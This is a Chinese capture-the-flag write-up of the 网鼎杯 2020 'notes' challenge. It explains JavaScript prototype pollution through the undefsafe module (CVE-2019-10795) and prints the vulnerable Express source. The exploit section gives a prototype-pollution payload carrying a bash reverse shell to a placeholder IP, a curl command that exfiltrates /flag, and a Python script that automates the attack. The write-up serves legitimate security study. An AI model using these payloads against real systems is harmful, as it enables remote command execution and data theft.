[网鼎杯2020青龙组]notes

压缩包解压后index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

js原型链污染:

例子:

1
2
3
4
5
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下,也会输出 Hello World 呢?就是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

要点:一直找同类的原型的属性,一直找到原型的原型为NULL为止

Undefsafe 模块原型链污染(CVE-2019-10795)

不光是 Merge 操作容易造成原型链污染,undefsafe 模块也可以原型链污染。undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

总结来说undefsafe就是可以将一个以下的报错改成不报错,改成undefined

1
2
3
4
5
6
7
8
9
10
var a = require("undefsafe");

console.log(a(object,'a.b.e'))
// skysec
console.log(object.a.b.e)
// skysec
console.log(a(object,'a.c.e'))
// undefined
console.log(object.a.c.e)
// TypeError: Cannot read property 'e' of undefined

当 undefsafe() 函数的第 2,3 个参数可控时,我们可以污染 object 对象中的值

1
2
3
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

回归本题可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

/status路由器是可以将commands的东西全部命令执行

而edit_note可以传三个参数(id,author,raw)并且进入undefsafe函数中进行第二三参数可以控制的函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

我就可以直接/edit_note

1
id=__proto__&author=bash -i > /dev/tcp/IP/2333 0>&1&raw=111111;

访问/status命令执行

1
bash -i > /dev/tcp/IP/2333 0>&1

这个命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

POST / HTTP/1.1
Host: 60.204.158.87:2333
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 239
Content-Type: multipart/form-data; boundary=------------------------57768fbacf6fb558

--------------------------57768fbacf6fb558
Content-Disposition: form-data; name="flag"; filename="flag"
Content-Type: application/octet-stream

flag{0ae1a60d-d02d-4925-8726-2d3e3ee10e58}

--------------------------57768fbacf6fb558--

这个是

1
curl -F \'flag=@/flag\' IP:2333

出来的

可以用脚本:

1
2
3
4
5
6
7
8
9
import requests
r = requests.Session()
url = "http://e8af756d-8fa5-4cfd-a295-7bc1a07fd49a.node5.buuoj.cn:81/"
data = {'id': '__proto__', 'author': 'curl -F \'flag=@/flag\' IP:2333', 'raw': '123'} #bash -i > /dev/tcp/IP/2333 0>&1
a = r.post(url=url + "edit_note", data=data)
print(a.text)
if "Something" in a.text:
b = r.get(url=url + "status")
print(b.text)

参考链接:https://www.anquanke.com/post/id/242645#h2-6